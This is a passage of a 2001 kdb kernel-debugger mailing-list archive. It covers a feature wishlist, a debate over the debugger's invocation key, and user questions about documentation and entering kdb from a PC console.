From owner-kdb@oss.sgi.com Tue May 8 05:09:48 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48C9mM12907 for kdb-outgoing; Tue, 8 May 2001 05:09:48 -0700 Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f48C9kF12904 for ; Tue, 8 May 2001 05:09:46 -0700 Received: (qmail 9651 invoked from network); 8 May 2001 12:09:43 -0000 Received: from ocs3.ocs-net (192.168.255.3) by mail.ocs.com.au with SMTP; 8 May 2001 12:09:43 -0000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: kdb@oss.sgi.com, linux-kernel@vger.kernel.org Subject: kdb wishlist Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 08 May 2001 22:09:42 +1000 Message-ID: <23270.989323782@ocs3.ocs-net> Sender: owner-kdb@oss.sgi.com Precedence: bulk This is part of my kdb wishlist, does anybody fancy writing the code to add any of these features? It would be a nice project for anybody wanting to start on the kernel. Replies to kdb@oss.sgi.com please. Current patches at http://oss.sgi.com/projects/kdb/download/ * Change kdb invocation key from ^A to ^X^X^X within 3 seconds. ^A is used by emacs, bash, minicom etc. * Command history. Handle up/down/left/right/delete keys. Each kdba_io routine is responsible for recognising the arch specific keys, with a common history and editting routine. * Clean up repeating commands. Pressing enter at the kdb prompt repeats the previous command, no matter what the previous command was. Some commands it makes no sense to repeat (bp in particular), for other commands you want to repeat the command but without the parameter (md in particular). * Embed width and count options in md and mm commands. Some hardware requires that accesses be a specific width, this can be achieved by setting BYTESPERWORD but it is awkward. We want md1 to read one byte, md2, md4, md8 commands. All can have a count field, e.g. md1c8 reads 8 bytes one at a time. mm1, mm2, mm4, mm8 to set memory no count field. From owner-kdb@oss.sgi.com Tue May 8 05:42:16 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48CgGv13847 for kdb-outgoing; Tue, 8 May 2001 05:42:16 -0700 Received: from ausmtp02.au.ibm.com (ausmtp02.au.ibm.COM [202.135.136.105]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48CgFF13837 for ; Tue, 8 May 2001 05:42:15 -0700 Received: from f03n05e.au.ibm.com by ausmtp02.au.ibm.com (IBM AP 1.0) with ESMTP id WAA167614; Tue, 8 May 2001 22:31:57 +1000 From: r1vamsi@in.ibm.com Received: from d73mta03.au.ibm.com (f06n03s [9.185.166.97]) by f03n05e.au.ibm.com (8.8.8m3/NCO v4.96) with SMTP id WAA59332; Tue, 8 May 2001 22:41:42 +1000 Received: by d73mta03.au.ibm.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id CA256A46.0045B0DD ; Tue, 8 May 2001 22:41:12 +1000 X-Lotus-FromDomain: IBMIN@IBMAU To: kdb@oss.sgi.com cc: linux-kernel@vger.kernel.org, richardj_moore@uk.ibm.com, hanrahat@us.ibm.com Message-ID: Date: Tue, 8 May 2001 18:10:53 +0530 Subject: Re: kdb wishlist Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-kdb@oss.sgi.com Precedence: bulk Keith, I have worked on the making md/mm take the width option using BYTESPERWORD. I will be happy to work on this. Regards.. Vamsi. Vamsi Krishna S. Linux Technology Center, IBM Software Lab, Bangalore. Ph: +91 80 5262355 Extn: 3959 Internet: r1vamsi@in.ibm.com Keith Owens on 05/08/2001 05:39:42 PM Please respond to Keith Owens To: kdb@oss.sgi.com, linux-kernel@vger.kernel.org cc: (bcc: S Vamsikrishna/India/IBM) Subject: kdb wishlist This is part of my kdb wishlist, does anybody fancy writing the code to add any of these features? It would be a nice project for anybody wanting to start on the kernel. Replies to kdb@oss.sgi.com please. Current patches at http://oss.sgi.com/projects/kdb/download/ * Change kdb invocation key from ^A to ^X^X^X within 3 seconds. ^A is used by emacs, bash, minicom etc. * Command history. Handle up/down/left/right/delete keys. Each kdba_io routine is responsible for recognising the arch specific keys, with a common history and editting routine. * Clean up repeating commands. Pressing enter at the kdb prompt repeats the previous command, no matter what the previous command was. Some commands it makes no sense to repeat (bp in particular), for other commands you want to repeat the command but without the parameter (md in particular). * Embed width and count options in md and mm commands. Some hardware requires that accesses be a specific width, this can be achieved by setting BYTESPERWORD but it is awkward. We want md1 to read one byte, md2, md4, md8 commands. All can have a count field, e.g. md1c8 reads 8 bytes one at a time. mm1, mm2, mm4, mm8 to set memory no count field. From owner-kdb@oss.sgi.com Tue May 8 05:42:16 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48CgGb13842 for kdb-outgoing; Tue, 8 May 2001 05:42:16 -0700 Received: from penguin.homenet ([62.172.234.2]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48CgDF13836 for ; Tue, 8 May 2001 05:42:14 -0700 Received: from localhost (tigran@localhost) by penguin.homenet (8.11.0/8.11.0) with ESMTP id f48Cfpa01028; Tue, 8 May 2001 13:41:52 +0100 X-Authentication-Warning: penguin.homenet: tigran owned process doing -bs Date: Tue, 8 May 2001 13:41:51 +0100 (BST) From: Tigran Aivazian X-Sender: tigran@penguin.homenet To: Keith Owens cc: kdb@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: kdb wishlist In-Reply-To: <23270.989323782@ocs3.ocs-net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-kdb@oss.sgi.com Precedence: bulk Keith, What would be really great is to add the following item to your wishlist: * make it possible (it is trivial but a pain to have to do it manually every time I upgrade to your latest version!) for those extra "modules" to be statically linked in. So that one doesn't have to keep these lines in the rc.local if [ -f /proc/sys/kernel/kdb ] then insmod kdbm_pg > /dev/null 2>&1 insmod kdbm_vm > /dev/null 2>&1 fi and then discover that the modules are from the compilation corresponding to a different tweak in page.h or highmem or whatever (let him who readeth understand ;) Long time ago I suggested removing the infrastructure for these "modules" completely (justification being -- it is not useless _only_ in a very exotic case of the need to teach kdb new features on a running kernel without permission to reboot) but you objected and that is fine, but at least making it optionally possible would be _very nice_, please. Regards, Tigran From owner-kdb@oss.sgi.com Tue May 8 08:56:41 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48Fuf919439 for kdb-outgoing; Tue, 8 May 2001 08:56:41 -0700 Received: from c0mailgw13.prontomail.com (mailgw.prontomail.com [216.163.180.10]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48FufF19436 for ; Tue, 8 May 2001 08:56:41 -0700 Received: by c0mailgw13.prontomail.com (NPlex 5.1.050) id 3AF34AAE000A0ED4; Tue, 8 May 2001 08:54:23 -0700 Received: from 148.75.77.62 by SmtpServer for ; Tue, 08 May 2001 15:54:20 +0000 Message-ID: <3AF81720.A1E15AAE@mvista.com> Date: Tue, 08 May 2001 08:56:16 -0700 From: george anzinger Organization: Monta Vista Software X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.12-20b i686) X-Accept-Language: en MIME-Version: 1.0 To: Keith Owens CC: kdb@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: kdb wishlist References: <23270.989323782@ocs3.ocs-net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-kdb@oss.sgi.com Precedence: bulk Keith Owens wrote: > > This is part of my kdb wishlist, does anybody fancy writing the code to > add any of these features? It would be a nice project for anybody > wanting to start on the kernel. Replies to kdb@oss.sgi.com please. > Current patches at http://oss.sgi.com/projects/kdb/download/ > > * Change kdb invocation key from ^A to ^X^X^X within 3 seconds. ^A is > used by emacs, bash, minicom etc. > ^X^X swaps point and mark in emacs. One (well, I) often will do ^X^X^X^X to examine where mark is and then return to point. George ~snip From owner-kdb@oss.sgi.com Tue May 8 09:57:17 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48GvHW21396 for kdb-outgoing; Tue, 8 May 2001 09:57:17 -0700 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48GvHF21393 for ; Tue, 8 May 2001 09:57:17 -0700 Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id JAA01155; Tue, 8 May 2001 09:59:46 -0700 (PDT) From: slurn@verisign.com Received: from slurndal-lnx.verisign.com ([10.25.27.123]) by postal-gw2.verisign.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id KCZGRGKB; Tue, 8 May 2001 09:57:14 -0700 Received: by slurndal-lnx.verisign.com; Tue, 8 May 2001 09:57:13 -0700 Message-Id: <200105081657.JAA05739@slurndal-lnx.verisign.com> Subject: Re: kdb wishlist To: george@mvista.com (george anzinger) Date: Tue, 8 May 2001 09:57:13 -0700 (PDT) Cc: kaos@melbourne.sgi.com (Keith Owens), kdb@oss.sgi.com, linux-kernel@vger.kernel.org In-Reply-To: <3AF81720.A1E15AAE@mvista.com> from "george anzinger" at May 08, 2001 08:56:16 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-kdb@oss.sgi.com Precedence: bulk > > Keith Owens wrote: > > > > This is part of my kdb wishlist, does anybody fancy writing the code to > > add any of these features? It would be a nice project for anybody > > wanting to start on the kernel. Replies to kdb@oss.sgi.com please. > > Current patches at http://oss.sgi.com/projects/kdb/download/ > > > > * Change kdb invocation key from ^A to ^X^X^X within 3 seconds. ^A is > > used by emacs, bash, minicom etc. > > > ^X^X swaps point and mark in emacs. One (well, I) often will do > ^X^X^X^X to examine where mark is and then return to point. How about using the break condition instead. This is only for the serial port, and most terminal emulators (e.g. kermit, minicom) provide a means to generate a break condition on the serial port. scott > > George > > ~snip > From owner-kdb@oss.sgi.com Tue May 8 10:39:07 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48Hd7G22717 for kdb-outgoing; Tue, 8 May 2001 10:39:07 -0700 Received: from trasno.mitica (3-CORU-X5.libre.retevision.es [62.83.56.3]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48HckF22705 for ; Tue, 8 May 2001 10:38:49 -0700 Received: by trasno.mitica (Postfix, from userid 501) id A1CC52450B; Tue, 8 May 2001 19:38:06 +0200 (CEST) To: slurn@verisign.com Cc: george@mvista.com (george anzinger), kaos@melbourne.sgi.com (Keith Owens), kdb@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: kdb wishlist References: <200105081657.JAA05739@slurndal-lnx.verisign.com> X-Url: http://www.lfcia.org/~quintela From: Juan Quintela In-Reply-To: <200105081657.JAA05739@slurndal-lnx.verisign.com> Date: 08 May 2001 19:38:06 +0200 Message-ID: Lines: 35 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-kdb@oss.sgi.com Precedence: bulk >>>>> "slurn" == slurn writes: >> >> Keith Owens wrote: >> > >> > This is part of my kdb wishlist, does anybody fancy writing the code to >> > add any of these features? It would be a nice project for anybody >> > wanting to start on the kernel. Replies to kdb@oss.sgi.com please. >> > Current patches at http://oss.sgi.com/projects/kdb/download/ >> > >> > * Change kdb invocation key from ^A to ^X^X^X within 3 seconds. ^A is >> > used by emacs, bash, minicom etc. >> > >> ^X^X swaps point and mark in emacs. One (well, I) often will do >> ^X^X^X^X to examine where mark is and then return to point. slurn> How about using the break condition instead. This is only for the slurn> serial port, and most terminal emulators (e.g. kermit, minicom) provide slurn> a means to generate a break condition on the serial port. kdb uses BREAK in the serial port (that minicom uses C-a for sending a break is an anecdote :) But the problem at hang is the console. I vote for the ^X^X^X as I a think that it is not a difficult shortcut. (and yes, I also use emacs and ^X^X all the time, but I think that this combination is not specially bad, and I suppose that the pet aplication of other people will have problems with something like: ^A^A^A that I never use). Later, Juan. -- In theory, practice and theory are the same, but in practice they are different -- Larry McVoy From owner-kdb@oss.sgi.com Tue May 8 10:44:51 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48Hipd22926 for kdb-outgoing; Tue, 8 May 2001 10:44:51 -0700 Received: from dinero.interactivesi.com (isimail.interactivesi.com [207.8.4.3]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f48HioF22923 for ; Tue, 8 May 2001 10:44:50 -0700 Received: (qmail 32032 invoked from network); 8 May 2001 17:44:43 -0000 Received: from one.interactivesi.com (HELO one) (10.2.247.106) by dinero.interactivesi.com with SMTP; 8 May 2001 17:44:43 -0000 Date: Tue, 8 May 2001 12:44:37 -0500 From: Timur Tabi To: kdb@oss.sgi.com In-Reply-To: References: <200105081657.JAA05739@slurndal-lnx.verisign.com> <200105081657.JAA05739@slurndal-lnx.verisign.com> Subject: Re: kdb wishlist X-Mailer: The Polarbar Mailer; version=1.19a; build=73 Message-ID: X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/) Sender: owner-kdb@oss.sgi.com Precedence: bulk ** Reply to message from Juan Quintela on 08 May 2001 19:38:06 +0200 > kdb uses BREAK in the serial port (that minicom uses C-a for sending a > break is an anecdote :) But the problem at hang is the console. I > vote for the ^X^X^X as I a think that it is not a difficult shortcut. OS/2 uses Ctrl-C, and that works well. Would it work for kdb? -- Timur Tabi - ttabi@interactivesi.com Interactive Silicon - http://www.interactivesi.com From owner-kdb@oss.sgi.com Tue May 8 11:04:43 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48I4hI23563 for kdb-outgoing; Tue, 8 May 2001 11:04:43 -0700 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48I4gF23558 for ; Tue, 8 May 2001 11:04:42 -0700 Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id LAA05605; Tue, 8 May 2001 11:07:02 -0700 (PDT) From: slurn@verisign.com Received: from slurndal-lnx.verisign.com ([10.25.27.123]) by postal-gw2.verisign.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id KCZGRHM3; Tue, 8 May 2001 11:04:30 -0700 Received: by slurndal-lnx.verisign.com; Tue, 8 May 2001 11:04:29 -0700 Message-Id: <200105081804.LAA06108@slurndal-lnx.verisign.com> Subject: Re: kdb wishlist To: quintela@mandrakesoft.com (Juan Quintela) Date: Tue, 8 May 2001 11:04:29 -0700 (PDT) Cc: slurn@verisign.com, george@mvista.com (george anzinger), kaos@melbourne.sgi.com (Keith Owens), kdb@oss.sgi.com, linux-kernel@vger.kernel.org In-Reply-To: from "Juan Quintela" at May 08, 2001 07:38:06 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-kdb@oss.sgi.com Precedence: bulk > > >>>>> "slurn" == slurn writes: > > >> > >> Keith Owens wrote: > >> > > >> > This is part of my kdb wishlist, does anybody fancy writing the code to > >> > add any of these features? It would be a nice project for anybody > >> > wanting to start on the kernel. Replies to kdb@oss.sgi.com please. > >> > Current patches at http://oss.sgi.com/projects/kdb/download/ > >> > > >> > * Change kdb invocation key from ^A to ^X^X^X within 3 seconds. ^A is > >> > used by emacs, bash, minicom etc. > >> > > >> ^X^X swaps point and mark in emacs. One (well, I) often will do > >> ^X^X^X^X to examine where mark is and then return to point. > > slurn> How about using the break condition instead. This is only for the > slurn> serial port, and most terminal emulators (e.g. kermit, minicom) provide > slurn> a means to generate a break condition on the serial port. > > kdb uses BREAK in the serial port (that minicom uses C-a for sending a > break is an anecdote :) But the problem at hang is the console. I > vote for the ^X^X^X as I a think that it is not a difficult shortcut. > (and yes, I also use emacs and ^X^X all the time, but I think that > this combination is not specially bad, and I suppose that the pet > aplication of other people will have problems with something like: > ^A^A^A that I never use). > > Later, Juan. Unless something has changed, the console uses the 'pause' key and the serial port uses ^A (for x86, anyway). I may be out of date, however. scott From owner-kdb@oss.sgi.com Tue May 8 11:15:28 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48IFSn24107 for kdb-outgoing; Tue, 8 May 2001 11:15:28 -0700 Received: from www.topmail.de (www.topmail.de [212.255.16.226]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48IFQF24104 for ; Tue, 8 May 2001 11:15:27 -0700 Received: from ecce (211.138.hh1.ip.foni.net [212.7.138.211]) by www.topmail.de (Postfix) with SMTP id 9C177A5AC5E; Tue, 8 May 2001 20:15:22 +0200 (MET DST) Message-ID: <003a01c0d7ea$d9969f20$de00a8c0@homeip.net> From: "mirabilos" To: "Keith Owens" , , References: <23270.989323782@ocs3.ocs-net> Subject: Re: kdb wishlist Date: Tue, 8 May 2001 18:15:13 -0000 Organization: eccesys.net Linux development MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-kdb@oss.sgi.com Precedence: bulk > * Change kdb invocation key from ^A to ^X^X^X within 3 seconds. ^A is > used by emacs, bash, minicom etc. Why not Alt-SysRq-D (like Debug) or so? > * Command history. Handle up/down/left/right/delete keys. Each > kdba_io routine is responsible for recognising the arch specific > keys, with a common history and editting routine. yes! > * Clean up repeating commands. Pressing enter at the kdb prompt > repeats the previous command, no matter what the previous command > was. Some commands it makes no sense to repeat (bp in particular), > for other commands you want to repeat the command but without the > parameter (md in particular). Should be configurable. Sometimes I accidentally hit enter or do it just to do something... -mirabilos -- EA F0 FF 00 F0 #$@%CARRIER LOST From owner-kdb@oss.sgi.com Tue May 8 12:42:19 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48JgJX27529 for kdb-outgoing; Tue, 8 May 2001 12:42:19 -0700 Received: from sgi.com (sgi.SGI.COM [192.48.153.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48JgIF27526 for ; Tue, 8 May 2001 12:42:18 -0700 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id MAA02251 for ; Tue, 8 May 2001 12:42:18 -0700 (PDT) mail_from (law@sgi.com) Received: from ishtar.corp.sgi.com (ishtar.corp.sgi.com [192.111.23.229]) by cthulhu.engr.sgi.com (SGI-8.9.3/8.9.3) with ESMTP id MAA51056; Tue, 8 May 2001 12:41:01 -0700 (PDT) Received: from sgi.com (sprite.engr.sgi.com [163.154.5.108]) by ishtar.corp.sgi.com (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f48JciF03694; Tue, 8 May 2001 12:38:44 -0700 Message-ID: <3AF84B43.8E0E3C3D@sgi.com> Date: Tue, 08 May 2001 12:38:43 -0700 From: LA Walsh X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.4 i686) X-Accept-Language: en, en-US, en-GB, fr MIME-Version: 1.0 To: slurn@verisign.com CC: george anzinger , Keith Owens , kdb@oss.sgi.com Subject: Re: kdb wishlist References: <200105081657.JAA05739@slurndal-lnx.verisign.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-kdb@oss.sgi.com Precedence: bulk slurn@verisign.com wrote: > How about using the break condition instead. This is only for the > serial port, and most terminal emulators (e.g. kermit, minicom) provide > a means to generate a break condition on the serial port. --- As much as I like that idea, I wondering -- if I am "telnet'ed" into a serial multiplexor or even a linux box, will breaking into telnet command mode and sending a 'telnet brk' get transmitted through the current apps/hardware and be translated to a serial-break on the serial line. That requires a leap of faith I wouldn't be be comfortable making or is usage over telnet-serial "routing hardware" (i.e. Annex boxes), "telnet'ing", "rsh'ed", "ssh'ed" to a system and "cu"ing to a serial port not considered important? -linda (p.s. linux kernel removed from CC list as this is more of a kdb issue than a kernel issue) -- The above thoughts and | They may have nothing to do with writings are my own. | the opinions of my employer. :-) L A Walsh | Trust Technology, Core Linux, SGI law@sgi.com | Voice: (650) 933-5338 From owner-kdb@oss.sgi.com Tue May 8 12:56:52 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f48Juq828761 for kdb-outgoing; Tue, 8 May 2001 12:56:52 -0700 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f48JupF28753 for ; Tue, 8 May 2001 12:56:51 -0700 Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id MAA12141; Tue, 8 May 2001 12:59:19 -0700 (PDT) From: slurn@verisign.com Received: from slurndal-lnx.verisign.com ([10.25.27.123]) by postal-gw2.verisign.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id KCZGRJF4; Tue, 8 May 2001 12:56:47 -0700 Received: by slurndal-lnx.verisign.com; Tue, 8 May 2001 12:56:46 -0700 Message-Id: <200105081956.MAA06428@slurndal-lnx.verisign.com> Subject: Re: kdb wishlist To: law@sgi.com (LA Walsh) Date: Tue, 8 May 2001 12:56:46 -0700 (PDT) Cc: slurn@verisign.com, george@mvista.com (george anzinger), kaos@melbourne.sgi.com (Keith Owens), kdb@oss.sgi.com In-Reply-To: <3AF84B43.8E0E3C3D@sgi.com> from "LA Walsh" at May 08, 2001 12:38:43 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-kdb@oss.sgi.com Precedence: bulk > > slurn@verisign.com wrote: > > > How about using the break condition instead. This is only for the > > serial port, and most terminal emulators (e.g. kermit, minicom) provide > > a means to generate a break condition on the serial port. > > --- > As much as I like that idea, I wondering -- if I am "telnet'ed" into > a serial multiplexor or even a linux box, will breaking into telnet > command mode and sending a 'telnet brk' get transmitted through the > current apps/hardware and be translated to a serial-break on the serial > line. That requires a leap of faith I wouldn't be be comfortable > making or is usage over telnet-serial "routing hardware" (i.e. Annex boxes), > "telnet'ing", "rsh'ed", "ssh'ed" to a system and "cu"ing to a serial port not > considered important? > > -linda Hi Linda, I don't think it is an issue. No matter how you get there, you'll eventually have to use 'cu', 'kermit' or an e.g. Annex box to get to the serial port hardware. It is at the interface to the serial port itself that the break needs to be generated (I know that the annex boxes have the capability of generating a break with the reverse telnet stuff they support). For example, I could have ssh'ed into host pendragon, telneted to bonnie and cu'ed through bonnies serial port to kdb on a linux box. I'd just need to ensure that the escape character for cu (default ~) is different from the escape characters for the intermediate steps (~ for ssh, ^] for telnet). Likewise if kermit, or minicom, or even reverse telnet (aka network serial concentrators) are used. (I believe there is a way to pass the escape character through ssh if necessary to have the same escape character). scott From owner-kdb@oss.sgi.com Thu May 10 18:08:30 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4B18UN21664 for kdb-outgoing; Thu, 10 May 2001 18:08:30 -0700 Received: from hypnos.cps.intel.com (hypnos.cps.intel.com [192.198.165.17]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4B18TF21661 for ; Thu, 10 May 2001 18:08:29 -0700 Received: from SMTP (fmsmsxvs03-1.fm.intel.com [132.233.42.203]) by hypnos.cps.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.38 2001/05/09 12:49:45 root Exp $) with SMTP id BAA02967 for ; Fri, 11 May 2001 01:08:09 GMT Received: from fmsmsx19.fm.intel.com ([132.233.48.19]) by 132.233.48.203 (Norton AntiVirus for Internet Email Gateways 1.0) ; Fri, 11 May 2001 01:08:09 0000 (GMT) Received: by fmsmsx19.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Thu, 10 May 2001 18:08:08 -0700 Message-ID: From: "Maribasavaiah, Prasad" To: kdb@oss.sgi.com Subject: Need Docs Date: Thu, 10 May 2001 18:08:06 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-kdb@oss.sgi.com Precedence: bulk I would like to know where is the document for KDB? the documentation directory doesn't have any text. Does any one know where it is? Prasad Maribasavaiah DP CV Debug Intel Corporation Phone : (253) 371 4803 From owner-kdb@oss.sgi.com Thu May 10 18:25:33 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4B1PXh21943 for kdb-outgoing; Thu, 10 May 2001 18:25:33 -0700 Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4B1PWF21940 for ; Thu, 10 May 2001 18:25:32 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id SAA16424 for ; Thu, 10 May 2001 18:24:08 -0700 (PDT) mail_from (kaos@melbourne.sgi.com) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA20035; Fri, 11 May 2001 11:24:09 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: "Maribasavaiah, Prasad" cc: kdb@oss.sgi.com Subject: Re: Need Docs In-reply-to: Your message of "Thu, 10 May 2001 18:08:06 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 11 May 2001 11:24:08 +1000 Message-ID: <26957.989544248@kao2.melbourne.sgi.com> Sender: owner-kdb@oss.sgi.com Precedence: bulk On Thu, 10 May 2001 18:08:06 -0700, "Maribasavaiah, Prasad" wrote: >I would like to know where is the document for KDB? the documentation >directory doesn't have any text. man linux/Documentation/kdb/kdb.mm man linux/Documentation/kdb/kdb_{bp,bt,env,ll,md,rd,ss}.man From owner-kdb@oss.sgi.com Mon May 14 10:48:38 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4EHmcB18116 for kdb-outgoing; Mon, 14 May 2001 10:48:38 -0700 Received: from avinoe02.retevision.es (bcnfwl02.retevision.es [62.81.27.241]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4EHmaF18112 for ; Mon, 14 May 2001 10:48:37 -0700 Subject: kdb not seeing CTRL-A To: kdb@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4 June 8, 2000 Message-ID: From: rsaura@retevision.es Date: Mon, 14 May 2001 19:50:49 +0200 X-MIMETrack: Serialize by Router on AVINOE02/SRV/EXT_RETEVISION(Release 5.0.6a |January 17, 2001) at 05/14/2001 07:47:41 PM MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id f4EHmcF18114 Sender: owner-kdb@oss.sgi.com Precedence: bulk Hello all, I apologize if this issue has been previously treated here. I've recently installed a stock 2.4.3 kernel with kdb-v1.8 patches. And I can't get into the debugger from any of my virtual consoles. I've added "console=tty0" on my lilo section, with no success. If I add "kdb=early" I get in and everything works, but once i type "go" I can't return to kdb. I have a 105-keys spanish keyboard. TIA. Please answer directly to me because i'm not subscribed. La información incluida en el presente correo electrónico es CONFIDENCIAL, siendo para el uso exclusivo del destinatario arriba mencionado. Si usted lee este mensaje y no es el destinatario señalado, el empleado o el agente responsable de entregar el mensaje al destinatario, o ha recibido esta comunicación por error, le informamos que está totalmente prohibida cualquier divulgación, distribución o reproducción de esta comunicación, y le rogamos que nos lo notifique, nos devuelva el mensaje original a la dirección arriba mencionada y borre el mensaje. Gracias. From owner-kdb@oss.sgi.com Mon May 14 16:04:02 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4EN42u26598 for kdb-outgoing; Mon, 14 May 2001 16:04:02 -0700 Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4EN40F26595 for ; Mon, 14 May 2001 16:04:00 -0700 Received: (qmail 28073 invoked from network); 14 May 2001 23:03:55 -0000 Received: from ocs3.ocs-net (192.168.255.3) by mail.ocs.com.au with SMTP; 14 May 2001 23:03:55 -0000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: rsaura@retevision.es cc: kdb@oss.sgi.com Subject: Re: kdb not seeing CTRL-A In-reply-to: Your message of "Mon, 14 May 2001 19:50:49 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 15 May 2001 09:03:54 +1000 Message-ID: <7543.989881434@ocs3.ocs-net> Sender: owner-kdb@oss.sgi.com Precedence: bulk On Mon, 14 May 2001 19:50:49 +0200, rsaura@retevision.es wrote: > And I can't get into the debugger from any of my virtual consoles. CTRL-A is the kdb key for serial consoles, use the PAUSE key on a PC keyboard console. From owner-kdb@oss.sgi.com Mon May 14 23:21:08 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4F6L8402159 for kdb-outgoing; Mon, 14 May 2001 23:21:08 -0700 Received: from pneumatic-tube.sgi.com (pneumatic-tube.sgi.com [204.94.214.22]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4F6L7F02156 for ; Mon, 14 May 2001 23:21:07 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by pneumatic-tube.sgi.com (980327.SGI.8.8.8-aspam/980310.SGI-aspam) via SMTP id XAA04188 for ; Mon, 